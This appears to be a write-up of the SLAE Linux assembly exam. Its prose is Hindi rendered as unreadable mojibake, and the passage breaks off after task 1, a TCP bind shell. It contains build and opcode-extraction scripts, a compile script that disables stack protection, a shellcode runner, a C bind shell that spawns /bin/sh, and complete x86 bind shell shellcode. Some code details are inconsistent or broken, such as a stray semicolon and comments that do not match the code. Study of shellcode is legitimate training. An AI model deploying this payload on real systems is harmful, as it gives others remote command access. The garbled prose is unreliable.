SLAE - рд╕реБрд░рдХреНрд╖рд╛ рд▓рд┐рдирдХреНрд╕ рд╡рд┐рдзрд╛рдирд╕рднрд╛ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рдкрд░реАрдХреНрд╖рд╛

рдЫрд╡рд┐

рд╕реБрд░рдХреНрд╖рд╛ рд▓рд┐рдирдХреНрд╕ рдЕрд╕реЗрдВрдмрд▓реА рдПрдХреНрд╕рдкрд░реНрдЯ - рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд▓рд┐рдирдХреНрд╕-рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЗрдВрдЯреЗрд▓ рдкреНрд░реЛрд╕реЗрд╕рд░ рдкрд░рд┐рд╡рд╛рд░ рдХреА 32-рдмрд┐рдЯ рдЕрд╕реЗрдВрдмрд▓реА рднрд╛рд╖рд╛ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рдкрд░ рдПрдХ рдСрдирд▓рд╛рдЗрди рдкрд╛рдареНрдпрдХреНрд░рдо рдФрд░ рдкрд░реАрдХреНрд╖рд╛ред рдпрд╣ рдкрд╛рдареНрдпрдХреНрд░рдо рдкрдВрдЪрдХрд░реНрдорд┐рдпреЛрдВ, рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЗрдВрдЬреАрдирд┐рдпрд░реЛрдВ рдФрд░ рдЬреЛ рдХреЛрдИ рднреА рдЕрд╕реЗрдВрдмрд▓рд░ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рд╕рдордЭрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ рдФрд░ рд╕рд░рд▓ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦрдирд╛ рд╕реАрдЦрддрд╛ рд╣реИ, рдЙрд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред рдкрд╛рдареНрдпрдХреНрд░рдо рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рд╕реАрдЦреЗрдВрдЧреЗ рдХрд┐ рдмреБрдирд┐рдпрд╛рджреА рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рд╕рд░рд▓ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ, рдФрд░ рдХрд░реНрдиреЗрд▓ рд╕реНрддрд░ рдкрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмреБрдирд┐рдпрд╛рджреА рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЛ рд╕рдордЭрдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВред рдпрд╣ рд▓реЗрдЦ рдЗрд╕ рдкрд╛рдареНрдпрдХреНрд░рдо рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рд╛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░реЗрдЧрд╛ ред

рдкрд░реАрдХреНрд╖рд╛ рдХреА рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЖрдкрдХреЛ 7 рдХрд╛рд░реНрдп рдкреВрд░реЗ рдХрд░рдиреЗ рд╣реЛрдВрдЧреЗ:

  1. рдЯреАрд╕реАрдкреА рдмрд┐рдВрдж рд╢реИрд▓ рд▓рд┐рдЦреЗрдВ
  2. рд░рд┐рд╡рд░реНрд╕ рдЯреАрд╕реАрдкреА рд╢реЗрд▓ рд▓рд┐рдЦреЗрдВ
  3. Egghunter рддрдХрдиреАрдХ рд╕реЗ рдирд┐рдкрдЯреЗрдВ рдФрд░ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рджреЗрдВ
  4. рдПрдХ рдХреЛрдб рдПрдирдХреЛрдбрд░ рд▓рд┐рдЦреЗрдВ
  5. GDB / ndisasm / libemu рдХреЗ рд╕рд╛рде msfvenom рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди 3 рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ
  6. 3 рдХрд┐рд╕реА рднреА рд╢реЗрд▓рдХреЛрдб рдФрд░ рд╢реЗрд▓рд╕реНрдЯреЙрд░реНрдо рдХреЗ рдмрд╣реБрд░реВрдкреА рд░реВрдкрд╛рдВрддрд░рдг рдХрд░реЗрдВред
  7. рдПрдХ рдХреЛрдб рдПрдирдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ

рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рдкрд░ рдЯрд┐рдкреНрдкрдгреА рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдпрд╣ рдЙрди рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рд╡рд╛рдВрдЫрдиреАрдп рд╣реИред рдЪрд▓реЛ рддреИрдпрд╛рд░реА рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред

рдкреНрд░рд╢рд┐рдХреНрд╖рдг


рд╕реНрд╡рдЪрд╛рд▓рди рд╣рдорд╛рд░реА рд╕рдм рдХреБрдЫ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдкрд╛рдареНрдпрдХреНрд░рдо рдореЗрдВ рдорд╣рд╛рд░рдд рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдФрд░ рдкрд░реАрдХреНрд╖рд╛ рдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд▓рд┐рдкрд┐рдпреЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд╡реЗ рд╕рдордп рдФрд░ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдмрдЪрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдВрдЧреЗред

nasm32.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./nasm32 <nasmMainFile> (no extension)"
  exit
fi

if [ ! -e "$1.asm" ]; then
  echo "Error, $1.asm not found."
  echo "Note, do not enter file extensions"
  exit
fi

nasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o

рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рддреЗрдЬреА рд╕реЗ рд╕рдВрдХрд▓рди рдФрд░ рд▓рд┐рдВрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

popcode.sh

#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

рд╣рдо рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЛрдб рдХреЛ рд╣реЗрдХреНрд╕-рдлреЙрд░реНрдореЗрдЯ рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╡рд░реНрдг рд╕реЗ рдкрд╣рд▓реЗ "\ x" рдкреНрд░рд┐рдВрдЯ рд╣реЛрдЧрд╛ред рдпрд╣ рд╣рдорд╛рд░реЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рд╕реА-рдлрд╛рдЗрд▓ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред

hexopcode.sh

#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'

рдпрд╣рд╛рдВ рд╕рдм рдХреБрдЫ рд╕рдорд╛рди рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рд╣реИ, рдХреЗрд╡рд▓ рдХреЛрдб "\ x" рдХреЗ рдмрд┐рдирд╛ рдореБрджреНрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдирд┐рдореНрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рд╣реЗрдХреНрд╕ рдХреЛрдб рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред

hex2stack.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys

if __name__ == '__main__':
	if len(sys.argv) != 2:
		print("Enter opcode in hex")
		sys.exit(0)

	string = sys.argv[1]

	reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]

	l = len(reversed) % 4
	if l:
		print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))

	for p in range(l, len(reversed[l:]), 4):
		print("\tpush 0x" + "".join(reversed[p:p+4]))

рдХреЛрдб рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ рд╕реНрдЯреИрдХ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдЙрд▓рдЯреЗ рдХреНрд░рдо рдореЗрдВ рдвреЗрд░ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдзрдХреНрдХрд╛ рдЖрджреЗрд╢ ред рдКрдкрд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЗрдХреНрд╕ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдирд╡рд░реНрдЯ рдХрд░рддреА рд╣реИред

рдЙрджрд╛рд╣рд░рдг:

$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80
	push 0x9080cd0b
	push 0xb0e18953
	push 0xc28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031

uscompile.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./compile <cFile> (no extension)"
  exit
fi

if [ ! -e "$1.c" ]; then
  echo "Error, $1.c not found."
  echo "Note, do not enter file extensions"
  exit
fi

gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c

рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдХреНрд╖рдо рд╕реНрдЯреИрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рд╛рде рдПрдХ рд╕реА-рдлрд╛рдЗрд▓ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдЕрдХреНрд╖рдо рдХрд░реЗрдВред

shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"";

int main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

рд╕реНрд╡рдпрдВ рд╕реА-рдлрд╛рдЗрд▓, рдЬрд┐рд╕рдореЗрдВ рд╣рдо рдЕрдкрдирд╛ рд╢реЗрд▓рдХреЛрдб рдбрд╛рд▓рддреЗ рд╣реИрдВред

рдХрд╛рд░реНрдп


1. рдЯреАрд╕реАрдкреА рдмрд╛рдЗрдВрдб рд╢реЗрд▓ рд▓рд┐рдЦреЗрдВ


рд╣рдо рд╕рд░рд▓рддрдо рдЯреАрд╕реАрдкреА-рдмрд╛рдЗрдВрдб рд╢реЗрд▓ рд▓рд┐рдЦреЗрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрджреЗрд╢ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реИ:

  1. рд╣рдо рд╕реЙрдХреЗрдЯ () рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реЙрдХреЗрдЯ рдмрдирд╛рддреЗ рд╣реИрдВ; рдирд┐рд░реНрдорд╛рдг рдкрд░, рд╣рдореЗрдВ рдПрдХ рд╕реЙрдХреЗрдЯ рд╡рд┐рд╡рд░рдгрдХ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ;
  2. рдирд┐рд░реНрдорд┐рдд рд╕реЙрдХреЗрдЯ рдХреЗ рд▓рд┐рдП, рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ - рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рд╡рд╣ рдкрддрд╛ рдЬрд╣рд╛рдВ рдпрд╣ "рд╕реБрдиреЛ", рдкреЛрд░реНрдЯ - рдФрд░ рдПрдХ рдмрд╛рдЗрдВрдб () рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдЬреЛ рд╣рдорд╛рд░реЗ рд╕реЙрдХреЗрдЯ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдареАрдХ рдХрд░реЗрдЧрд╛;
  3. рдлрд┐рд░ рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рдХрд░реЗрдВ () - рдЖрд╡рдХ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рд╕реЙрдХреЗрдЯ "рд╕реБрдирддрд╛ рд╣реИ";
  4. рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕рд▓рд┐рдП - рд╕реНрд╡реАрдХрд╛рд░ ();
  5. рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд╣рдорд╕реЗ рдЬреБрдбрд╝реЗ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдЗрдирдкреБрдЯ, рдЖрдЙрдЯрдкреБрдЯ рдФрд░ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдирдХ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ: рдбреБрдк 2 () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВ;
  6. рдФрд░ рдЖрдЦрд┐рд░реА: рд╣рдо рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╕реА рдореЗрдВ рдЙрдкрд░реЛрдХреНрдд рдЙрджрд╛рд╣рд░рдг рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>

int main(void)
{
    int clientfd, sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    // AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol
    // AF_INET = 2, SOCK_STREAM = 1
    // create socket, save socket file descriptor in sockfd variable
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // fill structure
    mysockaddr.sin_family = AF_INET; // can be represented in numeric as 2
    mysockaddr.sin_port = htons(port);
    //mysockaddr.sin_addr.s_addr = INADDR_ANY;// can be represented in numeric as 0 which means to bind to all interfaces
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
    // size of this array is 16 bytes
    //printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));
    // executing bind() call
    bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));
    // listen()
    listen(sockfd, 1);
    // accept()
    clientfd = accept(sockfd, NULL, NULL);
    // duplicate standard file descriptors in client file descriptor
    dup2(clientfd, 0);
    dup2(clientfd, 1);
    dup2(clientfd, 2);
    // and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection
    char * const argv[] = {"sh",NULL, NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

рдХреЛрдб рдХреЛ рд╣рдорд╛рд░реЗ рдХреЛрдб рдХреЛ рдкреЛрд░реНрдЯ рдХрд░рдиреЗ рдХрд╛ рд╕рдордпред рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЙрд▓ рдХреНрдпрд╛ рддрд░реНрдХ рджреЗрддрд╛ рд╣реИ рдФрд░ рди рдХреЗрд╡рд▓ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдЖрдк рдЙрдиреНрд╣реЗрдВ рдПрдХ рдЧрд╛рдЗрдб рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: рдЖрджрдореА <рдХреЙрд▓>ред рдХрднреА-рдХрднреА рдХрд┐рд╕реА рдПрдХрд▓ рдирд╛рдо рдореЗрдВ рдХрдИ рд╕рдВрджрд░реНрдн рдореИрдиреБрдЕрд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╕рднреА рдЙрдкрд▓рдмреНрдз рд╕реВрдЪреА: рдПрдкреНрд░реЛрдкреЛрд╕ <рдХреЙрд▓>ред

рдЬрд┐рд╕рдХреЗ рдмрд╛рдж: рдЖрджрдореА <рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдмреНрдпрд╛рдЬ рдХреА рдкреБрд╕реНрддрд┐рдХрд╛ рдХреА рд╕рдВрдЦреНрдпрд╛> <рдХреЙрд▓>ред

0.
рд╣рдо рд░рдЬрд┐рд╕реНрдЯрд░ рддреИрдпрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред рд╣рдо рдЙрди рдореВрд▓реНрдпреЛрдВ рдХреЛ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реИрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рд╕рд╛рде рдХрд╛рдо рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЗрд╕реЗ рд░реАрд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ:

	section .text
global _start

_start:
	xor eax, eax
	xor ebx, ebx
	xor esi, esi

1. рд╕реЙрдХреЗрдЯ рдмрдирд╛рдПрдВ

x86 рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдореЗрдВ, рд╕реЙрдХреЗрдЯ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╕реАрдзрд╛ рдХреЙрд▓ рдирд╣реАрдВ рд╣реИ ()ред рд╕рднреА рдХреЙрд▓реЛрдВ рдХреЛ рдкрд░реЛрдХреНрд╖ рд░реВрдк рд╕реЗ рд╕реЙрдХреЗрдЯрд╕реЗрд▓ () рд╡рд┐рдзрд┐ рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреЙрд▓ 2 рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИ: рд╕реЙрдХреЗрдЯ рдХреЙрд▓ рдирдВрдмрд░ рдФрд░ рдЗрд╕рдХреЗ рддрд░реНрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реВрдЪрдХред рд╕рдВрднрд╛рд╡рд┐рдд рд╕реЙрдХреЗрдЯ рдХреЙрд▓ рдХреА рдПрдХ рд╕реВрдЪреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: /usr/include/linux/net.h

	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

2. рдирд┐рд░реНрдорд┐рдд рд╕реЙрдХреЗрдЯ рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ рдФрд░ рдмрд╛рдЗрдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ ()ред

рдиреАрдЪреЗ рджреА рдЧрдИ рдЫрд╡рд┐ рдмрддрд╛рддреА рд╣реИ рдХрд┐ рд╕реНрдЯреИрдХ рдкрд░ рд╕реЙрдХреЗрдЯ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдХреИрд╕реЗ рдзрдХреЗрд▓рдирд╛ рд╣реИред

рдореБрдЭреЗ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдордп рдмрд┐рддрд╛рдирд╛ рдкрдбрд╝рд╛ рдХрд┐ рд╕реЙрдХреЗрдЯ рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рдХрд┐рд╕ рд░реВрдк рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ:

рдЫрд╡рд┐

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102
	mov bl, 2		; bind()
	mov ecx, esp
	int 0x80

рдкреЛрд░реНрдЯ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:

$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"

рдФрд░ рдпрджрд┐ рдЖрдк рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрддрд╛ рдмрддрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬрд┐рд╕ рдкрд░ рд╣рдорд╛рд░рд╛ рд╕реЙрдХреЗрдЯ рд╕реБрдиреЗрдВрдЧреЗ:

$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'

3. рдХреЙрд▓ рд╕реБрдиреЛ ()

	; creating listen
	push 1
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

4. рдХреЙрд▓ рд╕реНрд╡реАрдХрд╛рд░ ()

	; creating accept()
	push esi
	push esi
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

5. рдорд╛рдирдХ рд╡рд┐рд╡рд░рдгрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВред

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

6. рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

рдЕрдм рдЗрд╕реЗ рд╕рдм рдПрдХ рд╕рд╛рде рд░рдЦ рджреЗрдВ

	section .text
global _start

_start:
	; clear registers
	xor eax, eax
	xor ebx, ebx
	xor esi, esi
	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102		; socketcall() number
	mov bl, 2		; bind()
	mov ecx, esp		; 2nd argument - pointer to args
	int 0x80

	; creating listen
	push 1			; listen for 1 client
	push edx		; clients queue size
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

	; creating accept()
	push esi		; use default value
	push esi		; use default value
	push edx		; sockfd
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx		; clear ecx
	mov cl, 3		; number of loops
	mov ebx, edx		; socketfd
dup:	dec ecx
	mov al, 63		; number of dup2 syscall()
	int 0x80
	jns dup			; repeat for 1,0

	; execve /bin/bash
	xor eax, eax		; clear eax
	push eax		; string terminator
	push 0x68732f2f		; //bin/sh
	push 0x6e69622f
        mov ebx, esp		; 1st arg - address of //bin/sh
        push eax		; 
        mov edx, eax		; last argument is zero
        push ebx		; 2nd arg - pointer to all args of command
        mov ecx, esp		; pointer to args
        mov al, 11		; execve syscall number
        int 0x80

рдЕрдм рд╣рдо рдкреНрд░рд╛рдкреНрдд рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдУрдкрдХреЛрдб рд▓реЗрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рд╣рдорд╛рд░реЗ рд╕реА-рдлрд╝рд╛рдЗрд▓ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд╕рдВрдХрд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЪрд▓рд╛рддреЗ рд╣реИрдВ:

